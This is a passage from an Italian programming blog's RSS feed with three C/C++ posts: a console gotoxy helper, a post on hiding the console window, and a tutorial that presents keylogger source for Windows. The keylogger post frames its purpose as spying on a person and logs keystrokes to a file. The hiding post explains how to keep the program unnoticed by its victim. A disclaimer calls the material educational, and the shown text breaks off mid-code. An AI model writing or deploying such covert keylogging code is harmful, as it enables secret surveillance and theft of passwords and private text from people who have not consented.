DevC++ non contiene la libreria perciò,se non vogliamo installarla, l&#8217;unica soluzione è quella di creare la funzione:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;iostream.h&gt;</span>
<span style="color: #993333;">void</span> gotoxy<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> x<span style="color: #339933;">,</span><span style="color: #993333;">int</span> y<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>     
     HANDLE HConsole<span style="color: #339933;">;</span>
     CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo<span style="color: #339933;">;</span>     
     HConsole <span style="color: #339933;">=</span> GetStdHandle<span style="color: #009900;">&#40;</span>STD_OUTPUT_HANDLE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     ConsoleInfo.<span style="color: #202020;">dwCursorPosition</span>.<span style="color: #202020;">X</span> <span style="color: #339933;">=</span> x<span style="color: #339933;">;</span>
     ConsoleInfo.<span style="color: #202020;">dwCursorPosition</span>.<span style="color: #202020;">Y</span> <span style="color: #339933;">=</span> y<span style="color: #339933;">;</span>     
     SetConsoleCursorPosition<span style="color: #009900;">&#40;</span>HConsole<span style="color: #339933;">,</span>ConsoleInfo.<span style="color: #202020;">dwCursorPosition</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>     
<span style="color: #009900;">&#125;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    gotoxy<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">3</span><span style="color: #339933;">,</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;IOSMANETTO.it<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    gotoxy<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">3</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;pause&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span></pre></div></div>

<p><strong>HANDLE HConsole;</strong> HANDLE è simile ad un puntatore ma è piu&#8217; complesso.<br/><br />
<strong>CONSOLE_SCREEN_BUFFER_INFO ConsoleInfo;</strong> Dichiariamo ConsoleInfo come struttura CONSOLE_SCREEN_BUFFER_INFO . La struttura contiene informazioni sulla console come la posizione del cursore, il colore del testo e dello sfondo ecc.<br/><br />
<strong>HConsole = GetStdHandle(STD_OUTPUT_HANDLE);</strong> Otteniamo l&#8217;Handle della console<br/><br />
<strong>ConsoleInfo.dwCursorPosition.X = x; ConsoleInfo.dwCursorPosition.Y = y; </strong>  Inseriamo le nuove coordinate<br/><br />
<strong>SetConsoleCursorPosition(HConsole,ConsoleInfo.dwCursorPosition);</strong> <br/>SetConsoleCursorPosition setta la posizione del cursore. Come parametri passiamo l&#8217;handle della console e la nuova posizione. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/cpp/gotoxy-sul-compilatore-devc/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Console invisibile c++</title>
		<link>http://www.iosmanetto.it/cpp/console-invisibile-c/</link>
		<comments>http://www.iosmanetto.it/cpp/console-invisibile-c/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 19:34:49 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=419</guid>
		<description><![CDATA[Nell&#8217;articolo precedente abbiamo realizzato un keylogger per windows in c++. Chi ha letto l&#8217;articolo e provato il keylogger avrà sicuramente notato un piccolo particolare : la console è visibile e chiunque puo&#8217; notare la sua presenza. Come nasconderla allora ? #include &#60;windows.h&#62; #include &#60;stdlib.h&#62; int main&#40;int argc, char * argv&#91;&#93;&#41; &#123; HWND form; form = [...]]]></description>
			<content:encoded><![CDATA[<p>Nell&#8217;articolo precedente abbiamo realizzato un <a href="http://www.iosmanetto.it/cpp/keylogger-windows-in-c/">keylogger</a> per windows in c++. Chi ha letto l&#8217;articolo e provato il keylogger avrà sicuramente notato un piccolo particolare : la console è visibile e chiunque puo&#8217; notare la sua presenza. Come nasconderla allora ?</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span> argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    HWND form<span style="color: #339933;">;</span> 
    form <span style="color: #339933;">=</span> GetForegroundWindow<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    ShowWindow<span style="color: #009900;">&#40;</span>form<span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;pause&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><strong>HWND form;</strong> Dichiara la variabile form di tipo HWND. HWND sta per (h)handle (wnd)window e viene usata per accedere alla proprietà di una finestra.</p>
<p><strong>form = GetForegroundWindow();</strong> La funzione GetForegroundWindow restituisce il puntatore della finestra in primo piano.</p>
<p><strong>ShowWindow(form, false);</strong> ShowWindow modifica lo stato di una finestra. Con false indichiamo di nascondere la finestra</p>
<p>Semplice no !? Per il keylogger rendere invisibile la finestra è importantissimo ma non è il massimo : dal Taskmenager è sempre possibile individuare il processo . </p>
]]></content:encoded>
			<wfw:commentRss>http://www.iosmanetto.it/cpp/console-invisibile-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Keylogger windows in c++</title>
		<link>http://www.iosmanetto.it/cpp/keylogger-windows-in-c/</link>
		<comments>http://www.iosmanetto.it/cpp/keylogger-windows-in-c/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 17:59:29 +0000</pubDate>
		<dc:creator>Gregorio</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.iosmanetto.it/?p=400</guid>
		<description><![CDATA[Lo scopo dell&#8217;articolo è puramente didattico. Non mi assumo nessuna responsabilità sull&#8217;uso illecito dello script. Per spiare una persona non è necessario nulla di complicato: basta infatti intercettare in qualche modo quello che viene digitato sulla tastiera. Lo strumento necessario per questo tipo di operazione è il keylogger che puo&#8217; essere software o hardware. Oggi [...]]]></description>
			<content:encoded><![CDATA[<p><em style="color:red">Lo scopo dell&#8217;articolo è puramente didattico. Non mi assumo nessuna responsabilità sull&#8217;uso illecito dello script.</em></p>
<p>Per spiare una persona non è necessario nulla di complicato: basta infatti intercettare in qualche modo quello che viene digitato sulla tastiera. Lo strumento necessario per questo tipo di operazione è il <strong>keylogger </strong> che puo&#8217; essere software o hardware. </p>
<p>Oggi parleremo di quello software realizzandone uno in c++.</p>
<p>Lo scopo del keylogger è quello di intercettare i tasti premuti dall&#8217;utente e registrali in un file.<br />
La funzione <strong>GetAsyncKeyState</strong>, presente nella libreria <strong>windows.h</strong>, è indispensabile perchè restituisce lo stato di un bottone , cioè se è premuto o no. </p>
<p>Ecco un semplice esempio per utilizzare questa funzione.</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>   
    <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>                     
             <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetAsyncKeyState<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">65</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">32767</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>                                             
                    <span style="color: #000066;">cout</span> <span style="color: #339933;">&lt;&lt;</span> <span style="color: #ff0000;">&quot;Tasto A premuto<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>                                                         
              <span style="color: #009900;">&#125;</span>                           
    <span style="color: #009900;">&#125;</span>    
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p><span id="more-400"></span><br />
Il seguente codice <strong>if(GetAsyncKeyState(65)==-32767){</strong> controlla se il tasto della lettera A ( corrisponde al numero 65 ) è premuto. Quando noi , infatti, premiamo il tasto, la funzione restituisce -32767 .</p>
<p>Altra concetto fondamentale per costruire il nostro keylogger è saper scrivere sui file . Lo script altre ad intercettare la pressione dei tasti deve salvare ogni singolo movimento in un file txt.</p>
<p>Il seguente programmino apre il file in scrittura e scrive una stringa &#8220;prova&#8221;</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;conio.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #993333;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #993333;">char</span> <span style="color: #339933;">*</span> file <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;keylog.txt&quot;</span><span style="color: #339933;">;</span>
     FILE <span style="color: #339933;">*</span> scrivi <span style="color: #339933;">;</span>
     scrivi <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span>file<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;a+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     fprintf<span style="color: #009900;">&#40;</span>scrivi<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;prova&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;pause&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>     
     <span style="color: #009900;">&#125;</span></pre></div></div>

<p>Dopo aver imparato a scrivere sui file e ad intercettare le pressioni sui tasti vi posto lo script completo del keylogger con alcuni commenti sul codice :</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#include &lt;iostream.h&gt;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// La seguente funzione registra il tasto premuto </span>
<span style="color: #666666; font-style: italic;">// sul file</span>
<span style="color: #993333;">void</span> reg<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> key<span style="color: #339933;">,</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span>file<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
   FILE <span style="color: #339933;">*</span>keylog<span style="color: #339933;">;</span>
   keylog <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span>file<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;a+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// Apriamo il file in modalità scrittura con </span>
   <span style="color: #666666; font-style: italic;">// cursore posizionato alla fine</span>
   <span style="color: #993333;">int</span> tmp <span style="color: #339933;">=</span> key<span style="color: #339933;">;</span> 
&nbsp;
   <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">8</span> <span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Del]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">9</span> <span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Tab]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>      
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">13</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[Invio]<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">37</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Left]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">38</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Top]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">39</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Right]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">40</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Bottom]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">46</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Canc]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">44</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Stamp R sist]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">45</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Ins]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>     
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">33</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Pag Su]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">34</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Pag Giu]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>        
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">35</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Fine&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>      
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">164</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Alt]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>       
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">145</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Bloc Scorr]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">92</span><span style="color: #339933;">:</span><span style="color: #b1b100;">case</span> <span style="color: #0000dd;">91</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Windows]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>           
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">32</span><span style="color: #339933;">:</span>    fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot; &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">162</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Ctrl]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">107</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">109</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;-&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">111</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;*&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">144</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">106</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;-&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
   <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">27</span><span style="color: #339933;">:</span><span style="color: #b1b100;">case</span> <span style="color: #0000dd;">163</span><span style="color: #339933;">:</span>   fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[Esc]&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>     
   <span style="color: #009900;">&#125;</span>
   <span style="color: #666666; font-style: italic;">// Tasti F1,F1,F2 ecc</span>
   <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>key <span style="color: #339933;">&gt;=</span> <span style="color: #0000dd;">112</span> and key <span style="color: #339933;">&lt;=</span> <span style="color: #0000dd;">123</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
      key <span style="color: #339933;">-=</span> <span style="color: #0000dd;">112</span><span style="color: #339933;">;</span>
      fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;[%d]&quot;</span><span style="color: #339933;">,</span>key<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   
      key<span style="color: #339933;">=</span>tmp<span style="color: #339933;">;</span> 
   <span style="color: #009900;">&#125;</span>
   <span style="color: #666666; font-style: italic;">// Alfabeto</span>
   <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>key <span style="color: #339933;">&gt;=</span> <span style="color: #0000dd;">65</span> <span style="color: #339933;">&amp;&amp;</span> key <span style="color: #339933;">&lt;=</span> <span style="color: #0000dd;">90</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
             <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>GetKeyState<span style="color: #009900;">&#40;</span>VK_CAPITAL<span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000dd;">1</span> <span style="color: #339933;">||</span> GetKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span> GetKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span>   <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
             <span style="color: #666666; font-style: italic;">// Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo</span>
             fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;%s&quot;</span><span style="color: #339933;">,&amp;</span>key<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>          
&nbsp;
             <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
             <span style="color: #666666; font-style: italic;">// Se no memorizziamola in minuscolo</span>
             key <span style="color: #339933;">+=</span> <span style="color: #0000dd;">32</span><span style="color: #339933;">;</span>
             fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;%s&quot;</span><span style="color: #339933;">,&amp;</span>key<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>         
             key <span style="color: #339933;">=</span> tmp<span style="color: #339933;">;</span>
             <span style="color: #009900;">&#125;</span>                       
   <span style="color: #009900;">&#125;</span>   
   <span style="color: #666666; font-style: italic;">// TASTI numerici   </span>
   <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> GetKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">127</span> <span style="color: #339933;">||</span> GetKeyState<span style="color: #009900;">&#40;</span>VK_SHIFT<span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">128</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>  
       <span style="color: #666666; font-style: italic;">// Se è premuto shift ... </span>
      <span style="color: #b1b100;">switch</span><span style="color: #009900;">&#40;</span>key<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">48</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;=&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>      
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">49</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">50</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>break<span style="color: #339933;">;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">51</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;£&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>   <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>    
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">52</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;$&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>  
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">53</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;%&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>   
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">54</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;&amp;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>        
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">55</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>               
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">56</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;(&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">case</span> <span style="color: #0000dd;">57</span> <span style="color: #339933;">:</span> fprintf<span style="color: #009900;">&#40;</span>keylog<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>                                      
      <span style="color: #009900;">&#125;</span>                         
&nbsp;
   <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>   
   <span style="color: #666666; font-style: italic;">// Se no stampa i numeri   </span>
